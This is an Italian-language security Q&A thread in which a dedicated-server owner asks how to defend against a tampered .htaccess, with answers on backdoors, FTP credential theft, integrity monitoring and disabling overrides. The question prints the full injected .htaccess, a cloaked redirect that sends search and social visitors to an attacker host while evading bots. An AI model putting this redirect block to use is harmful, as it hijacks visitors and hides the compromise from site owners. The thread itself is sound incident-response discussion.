Proteggi contro un attacco che modifica .htaccess?

2

Ho un server dedicato. Non c'è codice / sito in diretta ora, solo una pagina in arrivo. Pochi minuti fa mi sono reso conto che qualcuno ha cambiato il file .htaccess.

Come posso proteggere da questo tipo di attacco?

Il nuovo htaccess contiene queste righe:

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*MuA.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}            ^off$
RewriteRule .* - [E=MuA:%{TIME_SEC}]
RewriteRule .* - [E=YYP:avlasenko.prestigehonda.net]
RewriteCond %{ENV:MuA} 0
RewriteRule ^.* http://%{ENV:YYP}/openx/www/delivery/lg.php?bannerid=3613&campaignid=1349&zoneid=845&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3daf1514be  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11598:/:0:HttpOnly]
RewriteCond %{ENV:MuA} 1
RewriteRule ^.* http://%{ENV:YYP}/tracker?event=media_connect_error&source=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&video_duration=128&domain=videocloud&playlist=1521712908001&video=1505115769001&platform=as3&time=1340351758343&errorCode=FMSConnectionError&flash_version=WIN\%2010\%2C1\%2C102\%2C64&embed=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mediaURL=rtmp://brightcove.fcod.llnwd.net/a500/e1/uds/rtmp/ondemand/\%26mp4:89804535001/89804535001_1505158207001_acma02-alus-h264.mp4\%261340341200000\%26303e88e79ad49760dd42e3d253368813&account=89804535001&player_name=Direct\%20Lyrics\%20Sidebar\%20Playlist\%20Player(TEMP)&player=1522730664001&video_name=Top\%205\%20ACMA\%20Nominees\%202012  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11468:/:0:HttpOnly]
....
more sites
....
</IfModule>
    
posta AlexCode 09.04.2013 - 21:30
fonte

5 risposte

3

dovresti dare un'occhiata a questo articolo 10 client FTP ruba credenziali e questo articolo Avvelenamento di immagini di Google .

Questo è un attacco noto e documentato. Spero che questo aiuti.

    
risposta data 10.04.2013 - 14:33
fonte
15

Il .htaccess modificato non fa parte dell'attacco; è qualcosa che l'autore dell'attacco ha installato dopo dopo aver rimosso la macchina. La vulnerabilità che l'attaccante ha sfruttato per dirottare la tua macchina è altrove.

Data la mancanza di informazioni precise, posso solo dare il consiglio generico e severo: trovarti un amministratore di sistema che manterrà la tua macchina aggiornata e fare un controllo del codice per scoprire potenziali problemi nel tuo sito.

    
risposta data 09.04.2013 - 21:42
fonte
2

Come ha detto Thomas, la cosa al di là è un sintomo, non una causa. Altri sintomi che potresti voler cercare sono gli script backdoor che l'attaccante ha quasi certamente installato sul tuo sito Web per permettergli di mantenere il controllo anche dopo aver corretto la vulnerabilità iniziale. Nella mia esperienza, gli script backdoor sono installati in oltre il 90% delle istanze di attacchi di siti Web; aspettarsi che molti siano presenti.

Per quanto riguarda la vulnerabilità iniziale, se stai usando wordpress, joomla o qualche altro framework comune, verifica di essere aggiornato sui tuoi aggiornamenti. E in particolare, controlla i tuoi temi e i tuoi plugin. Qualsiasi codice vulnerabile presente può essere utilizzato contro di te, anche se non è "attivato". Circa il 60% dei casi che vedo si verificano a causa di plug-in non protetti.

Controlla anche i tuoi registri FTP. In circa il 15% dei casi, la password FTP del sito è trapelata e è stata utilizzata dall'attaccante per caricare contenuti dannosi. Le password FTP in genere perdono a causa del malware sulla workstation di uno sviluppatore. Si ottiene un virus sul computer e il virus recupera tutte le password salvate da Dreamweaver, CuteFTP e così via e li invia all'autore dell'attacco. Potrebbe essere tu, o potrebbe essere chiunque abbia dato la tua password a; in genere i web designer di terze parti sono la fonte della perdita. È possibile impedire ciò (a) non dando la propria password FTP, o (b) MODIFICARE la propria password FTP dopo che qualcuno che lo ha non ne ha più bisogno. E, naturalmente, non salvare le tue password in programmi come FileZilla o Dreamweaver, o lasciare che qualcun altro faccia lo stesso.

    
risposta data 10.04.2013 - 00:56
fonte
1

Se vuoi monitorare quando i file cambiano senza che lo fai apposta, dovresti considerare il monitoraggio dell'integrità dei file, come il tripwire, ecc. Quindi puoi attivare gli avvisi quando i file cambiano, questo ti aiuterà ad avvisarti di un attacco. Ciò non impedirà comunque l'attacco, soprattutto se l'autore dell'attacco ha privilegi di root o almeno nella tua directory web.

Sulla stessa nota, dovresti anche considerare di eseguire il tuo webserver in un carcere (chroot) per limitare l'accesso ad altre parti del server, se l'attacco è stato originato a livello di server Web e non altrove.

    
risposta data 10.04.2013 - 01:43
fonte
0

Consiglio sempre di impostare AllowOverride None sui server di produzione e di mantenere le regole di riscrittura e altre impostazioni necessarie nel virtualhost o httpd.conf. Avere i file htaccess abilitati è sia un problema di prestazioni significativo che un problema di sicurezza ancora più grande.

In questo caso non impedirà l'attacco, ma impedirà al file htaccess di avere un impatto. Fino a quando gli attaccanti non iniziano a modificare i tuoi file html / php. Cambiare la password e cercare backdoor web nel tuo sito web è un buon punto di partenza.

    
risposta data 30.09.2014 - 01:54
fonte

Leggi altre domande sui tag